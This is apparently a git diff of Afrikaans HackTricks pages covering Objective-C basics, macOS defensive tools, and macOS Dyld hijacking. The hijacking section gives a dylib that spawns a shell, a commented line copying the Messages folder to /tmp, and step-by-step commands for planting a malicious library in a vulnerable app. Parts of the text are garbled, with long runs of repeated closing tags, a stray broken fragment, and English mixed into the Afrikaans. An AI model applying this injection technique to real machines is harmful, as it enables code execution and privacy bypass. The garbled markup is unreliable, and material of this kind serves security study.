* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Objective-C
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat programme geskryf in Objective-C **hul klasverklarings behou** wanneer hulle gekompileer word in [Mach-O-binêre](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klasverklarings **bevat** die naam en tipe van:
|
||||
Let daarop dat programme wat in Objective-C geskryf is **behou** hul klasverklarings **wanneer** **gecompileer** word in [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klasverklarings **sluit** die naam en tipe van:
|
||||
{% endhint %}
|
||||
|
||||
* Die klas
|
||||
* Die klasmetodes
|
||||
* Die klas-instansie-variables
|
||||
* Die klas metodes
|
||||
* Die klas instansie veranderlikes
|
||||
|
||||
Jy kan hierdie inligting kry deur [**class-dump**](https://github.com/nygard/class-dump) te gebruik:
|
||||
Jy kan hierdie inligting verkry deur [**class-dump**](https://github.com/nygard/class-dump):
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
Let wel dat hierdie name geobfuskeer kan word om die omkeer van die binêre kode moeiliker te maak.
|
||||
Let daarop dat hierdie name obfuskeer kan word om die omkering van die binêre meer moeilik te maak.
|
||||
|
||||
## Klasse, Metodes & Objekte
|
||||
|
||||
|
@ -63,9 +78,9 @@ self.numberOfWheels += value;
|
|||
|
||||
@end
|
||||
```
|
||||
### **Objek & Roep Metode Aan**
|
||||
### **Object & Call Method**
|
||||
|
||||
Om 'n instansie van 'n klas te skep, word die **`alloc`**-metode geroep wat geheue toewys vir elke **eienskap** en dit **nulstel**. Dan word **`init`** geroep, wat die eienskappe **inisialiseer** na die **vereiste waardes**.
|
||||
Om 'n instansie van 'n klas te skep, word die **`alloc`** metode aangeroep wat **geheue toewys** vir elke **eienskap** en **nul** daardie toewysings. Dan word **`init`** aangeroep, wat die **eienskappe** tot die **vereiste waardes** **initaliseer**.
|
||||
```objectivec
|
||||
// Something like this:
|
||||
MyVehicle *newVehicle = [[MyVehicle alloc] init];
|
||||
|
@ -77,15 +92,15 @@ MyVehicle *newVehicle = [MyVehicle new];
|
|||
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
|
||||
[newVehicle addWheels:4];
|
||||
```
|
||||
### **Klasmetodes**
|
||||
### **Klas Metodes**
|
||||
|
||||
Klasmetodes word gedefinieer met die **plusteken** (+) en nie die strepie (-) wat gebruik word met instansiemetodes. Soos die **NSString** klasmetode **`stringWithString`**:
|
||||
Klas metodes word gedefinieer met die **plusteken** (+) en nie die koppelteken (-) wat met instansiemetodes gebruik word nie. Soos die **NSString** klas metode **`stringWithString`**:
|
||||
```objectivec
|
||||
+ (id)stringWithString:(NSString *)aString;
|
||||
```
|
||||
### Setter & Getter
|
||||
|
||||
Om eienskappe te **stel** en **kry**, kan jy dit doen met 'n **puntnotasie** of asof jy 'n **metode aanroep**:
|
||||
Om **te stel** & **te kry** eienskappe, kan jy dit doen met 'n **puntnotasie** of soos asof jy 'n **metode aanroep**:
|
||||
```objectivec
|
||||
// Set
|
||||
newVehicle.numberOfWheels = 2;
|
||||
|
@ -97,7 +112,7 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
|
|||
```
|
||||
### **Instansie Veranderlikes**
|
||||
|
||||
Alternatiewelik tot setter- en getter-metodes kan jy instansie veranderlikes gebruik. Hierdie veranderlikes het dieselfde naam as die eienskappe, maar begin met 'n "\_":
|
||||
Alternatiewelik tot setter & getter metodes kan jy instansie veranderlikes gebruik. Hierdie veranderlikes het dieselfde naam as die eienskappe, maar begin met 'n "\_":
|
||||
```objectivec
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
|
@ -108,7 +123,7 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
|||
|
||||
Protokolle is 'n stel metodeverklarings (sonder eienskappe). 'n Klas wat 'n protokol implementeer, implementeer die verklaarde metodes.
|
||||
|
||||
Daar is 2 tipes metodes: **verpligtend** en **opsioneel**. Standaard is 'n metode **verpligtend** (maar jy kan dit ook aandui met 'n **`@required`** etiket). Om aan te dui dat 'n metode opsioneel is, gebruik **`@optional`**.
|
||||
Daar is 2 tipes metodes: **verpligtend** en **opsioneel**. Deur **default** is 'n metode **verpligtend** (maar jy kan dit ook met 'n **`@required`** etiket aandui). Om aan te dui dat 'n metode opsioneel is, gebruik **`@optional`**.
|
||||
```objectivec
|
||||
@protocol myNewProtocol
|
||||
- (void) method1; //mandatory
|
||||
|
@ -119,54 +134,6 @@ Daar is 2 tipes metodes: **verpligtend** en **opsioneel**. Standaard is 'n metod
|
|||
@end
|
||||
```
|
||||
### Alles saam
|
||||
|
||||
Hier is 'n oorsig van die belangrikste aspekte van die Objective-C-programmeertaal:
|
||||
|
||||
#### Klasdefinisies
|
||||
|
||||
Klasdefinisies word gebruik om die eienskappe en gedrag van 'n objek te beskryf. Dit sluit in die definisie van instansie- en klasmetodes, eienskappe en protokolle.
|
||||
|
||||
#### Metodes
|
||||
|
||||
Metodes is funksies wat spesifieke gedrag aan 'n objek toeken. Dit kan instansie- of klasmetodes wees.
|
||||
|
||||
#### Eienskappe
|
||||
|
||||
Eienskappe is veranderlikes wat die toestand van 'n objek voorstel. Dit kan openbaar of privaat wees.
|
||||
|
||||
#### Protokolle
|
||||
|
||||
Protokolle definieer 'n stel vereistes wat 'n klas moet nakom. Dit maak interaksie tussen klasse moontlik sonder om 'n gemeenskaplike basisimplementering te vereis.
|
||||
|
||||
#### Inhouding
|
||||
|
||||
Inhouding is die proses waarin 'n klas die eienskappe en metodes van 'n ander klas erwe. Dit maak hergebruik van kode moontlik en bevorder die herbruikbaarheid en onderhoudbaarheid van programme.
|
||||
|
||||
#### Polimorfisme
|
||||
|
||||
Polimorfisme verwys na die vermoë van 'n objek om verskillende vorme aan te neem. Dit maak dit moontlik om 'n enkele metode te gebruik om verskillende tipes objekte te hanteer.
|
||||
|
||||
#### Geheuebestuur
|
||||
|
||||
Objective-C maak gebruik van handmatige geheuebestuur. Dit beteken dat die ontwikkelaar verantwoordelik is vir die toekenning en vrylating van geheue vir objekte.
|
||||
|
||||
#### Uitsonderingshantering
|
||||
|
||||
Objective-C bied 'n stelsel vir die hantering van uitsonderings. Dit maak dit moontlik om fouttoestande te hanteer en te herstel.
|
||||
|
||||
#### Delegasie
|
||||
|
||||
Delegasie is 'n ontwerppatroon wat gebruik word om die verantwoordelikhede van 'n objek na 'n ander objek te skuif. Dit bevorder die herbruikbaarheid en modulariteit van kode.
|
||||
|
||||
#### Kategorieë
|
||||
|
||||
Kategorieë maak dit moontlik om bestaande klasse uit te brei sonder om die oorspronklike bronkode te wysig. Dit bied 'n manier om funksionaliteit by te voeg sonder om 'n nuwe klasse te skep.
|
||||
|
||||
#### Blokke
|
||||
|
||||
Blokke is stukke kode wat as argumente aan metodes kan oorgedra word. Dit maak dit moontlik om funksionaliteit dinamies te verander en te hergebruik.
|
||||
|
||||
Hierdie konsepte is van kritieke belang vir die begrip van Objective-C en sal jou help om effektief te programmeer in hierdie taal.
|
||||
```objectivec
|
||||
// gcc -framework Foundation test_obj.m -o test_obj
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -229,7 +196,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Basiese klasse is **onveranderlik**, so om 'n string by 'n bestaande een te voeg, moet 'n **nuwe NSString geskep word**.
|
||||
Basiese klasse is **onveranderlik**, so om 'n string aan 'n bestaande een toe te voeg, moet 'n **nuwe NSString geskep word**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -237,7 +204,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Of jy kan ook 'n **veranderlike** string klas gebruik:
|
||||
Of jy kan ook 'n **mutable** string klas gebruik:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -248,8 +215,6 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
|
|||
[mutableString appendString:@" and published in "];
|
||||
[mutableString appendString:bookPublicationYear];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Nommer
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -271,9 +236,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
|
|||
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
|
||||
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
|
||||
```
|
||||
#### Reeks, Stelle & Woordeboek
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
#### Array, Sets & Dictionary
|
||||
```objectivec
|
||||
// Inmutable arrays
|
||||
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
|
||||
|
@ -323,7 +286,9 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
|
|||
|
||||
### Blokke
|
||||
|
||||
Blokke is **funksies wat as objekte optree**, sodat hulle aan funksies kan word oorgedra of in **arrays** of **woordeboeke** kan word **gestoor**. Hulle kan ook **'n waarde verteenwoordig as daar waardes aan hulle gegee word**, so dit is soortgelyk aan lambdas.
|
||||
Blokke is **funksies wat as objekte optree** sodat hulle aan funksies oorgedra kan word of **gestoor** kan word in **arrays** of **woordeboeke**. Ook, hulle kan **'n waarde verteenwoordig as hulle waardes gegee word** so dit is soortgelyk aan lambdas.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
|
||||
//Perform operations here
|
||||
|
@ -338,7 +303,7 @@ NSLog(@"3+4 = %d", suma(3,4));
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dit is ook moontlik om **'n blok tipe te definieer wat as 'n parameter gebruik kan word** in funksies:
|
||||
Dit is ook moontlik om **'n bloktipe te definieer wat as 'n parameter** in funksies gebruik kan word:
|
||||
```objectivec
|
||||
// Define the block type
|
||||
typedef void (^callbackLogger)(void);
|
||||
|
@ -389,31 +354,47 @@ NSLog(@"Removed successfully");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dit is ook moontlik om lêers te bestuur **deur gebruik te maak van `NSURL`-voorwerpe in plaas van `NSString`-voorwerpe**. Die metode name is soortgelyk, maar **met `URL` in plaas van `Path`**.
|
||||
Dit is ook moontlik om lêers **te bestuur met `NSURL`-objekte in plaas van `NSString`**-objekte. Die metode name is soortgelyk, maar **met `URL` in plaas van `Path`**.
|
||||
```objectivec
|
||||
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
|
||||
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
|
||||
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
|
||||
```
|
||||
Die meeste basiese klasse het 'n metode `writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil` wat dit moontlik maak om hulle direk na 'n lêer te skryf:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
NSString* tmp = @"something temporary";
|
||||
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
|
||||
```
|
||||
{% endcode %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,55 +1,43 @@
|
|||
# macOS Verdedigingsprogramme
|
||||
# macOS Verdedigende Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Vuurmuur
|
||||
## Vuurmure
|
||||
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Dit sal elke verbinding wat deur elke proses gemaak word, monitor. Afhangende van die modus (stil toelaat van verbindinge, stil ontkenning van verbindinge en waarskuwing), sal dit **'n waarskuwing wys** elke keer as 'n nuwe verbinding tot stand gebring word. Dit het ook 'n baie mooi GUI om al hierdie inligting te sien.
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See-vuurmuur. Dit is 'n basiese vuurmuur wat jou sal waarsku vir verdagte verbindinge (dit het 'n GUI, maar dit is nie so luuks soos dié van Little Snitch nie).
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Dit sal elke verbinding wat deur elke proses gemaak word, monitor. Afhangende van die modus (stille toelaat verbindings, stille weier verbinding en waarskuwing) sal dit **vir jou 'n waarskuwing wys** elke keer as 'n nuwe verbinding gevestig word. Dit het ook 'n baie mooi GUI om al hierdie inligting te sien.
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See vuurmuur. Dit is 'n basiese vuurmuur wat jou sal waarsku vir verdagte verbindings (dit het 'n GUI maar dit is nie so fancy soos dié van Little Snitch nie).
|
||||
|
||||
## Volharding opsporing
|
||||
## Volharding detectie
|
||||
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See-toepassing wat sal soek na verskeie plekke waar **malware volharding kan hê** (dit is 'n eenmalige instrument, nie 'n moniteringsdiens nie).
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See toepassing wat in verskeie plekke sal soek waar **malware mag volhard** (dit is 'n eenmalige hulpmiddel, nie 'n moniteringsdiens nie).
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Soos KnockKnock deur prosesse te monitor wat volharding genereer.
|
||||
|
||||
## Sleutelloggers opsporing
|
||||
## Sleutellogger detectie
|
||||
|
||||
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See-toepassing om **sleutelloggers** op te spoor wat sleutelbord "gebeurtenis-aftastings" installeer.
|
||||
|
||||
## Ransomware opsporing
|
||||
|
||||
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Objective-See-toepassing om **lêerversleuteling**-aksies op te spoor.
|
||||
|
||||
## Mikrofoon & Webkamera opsporing
|
||||
|
||||
* [**OverSight**](https://objective-see.org/products/oversight.html): Objective-See-toepassing om **toepassings wat die webkamera en mikrofoon begin gebruik** op te spoor.
|
||||
|
||||
## Prosessinspuiting opsporing
|
||||
|
||||
* [**Shield**](https://theevilbit.github.io/shield/): Toepassing wat **verskillende prosessinspuitingstegnieke opspoor**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See toepassing om **sleutellogger** te vind wat sleutelbord "gebeurtenis tapps" installeer.
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES Basiese voorbeeld
|
||||
|
||||
**Biblioteek om in te spuit** om 'n skul te voer:
|
||||
**Biblioteek om in te voeg** om 'n shell uit te voer:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binêre teiken:
|
||||
Binaar om aan te val:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -45,13 +46,13 @@ printf("Hello, World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Injeksie:
|
||||
Injection:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking Voorbeeld
|
||||
|
||||
Die teiken kwesbare binêre lêer is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
Die geteikende kwesbare binêre is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
|
@ -91,12 +92,12 @@ compatibility version 1.0.0
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaai biblioteke nagaan nie** en dit probeer 'n biblioteek laai vanaf:
|
||||
Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaaide biblioteke nagaan nie** en dit **probeer om 'n biblioteek te laai vanaf**:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Maar, die eerste een bestaan nie:
|
||||
Maar die eerste een bestaan nie:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
@ -104,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
So, dit is moontlik om dit te kap! Skep 'n biblioteek wat **willekeurige kode uitvoer en dieselfde funksionaliteit uitvoer** as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes:
|
||||
So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat **enige willekeurige kode uitvoer en dieselfde funksies as die wettige biblioteek uitvoer deur dit weer te herexporteer**. En onthou om dit te compileer met die verwagte weergawes:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Die heruitvoerpad wat in die biblioteek geskep word, is relatief tot die laaier. Laat ons dit verander na 'n absolute pad na die biblioteek wat uitgevoer moet word:
|
||||
Die herexportpad wat in die biblioteek geskep is, is relatief aan die laaier, kom ons verander dit na 'n absolute pad na die biblioteek om te eksporteer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Uiteindelik kopieer dit net na die **gekaapte plek**:
|
||||
Laastens kopieer dit net na die **gekaapte ligging**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
En **voer** die binêre lêer uit en kontroleer of die **biblioteek gelaai is**:
|
||||
En **voer** die binêre uit en kyk of die **biblioteek gelaai is**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gekaap in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehuig in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Gebruik: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
'n Goeie bespreking oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van Telegram te misbruik, kan gevind word by [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
'n Goeie skrywe oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van telegram te misbruik, kan gevind word in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## Groter Skala
|
||||
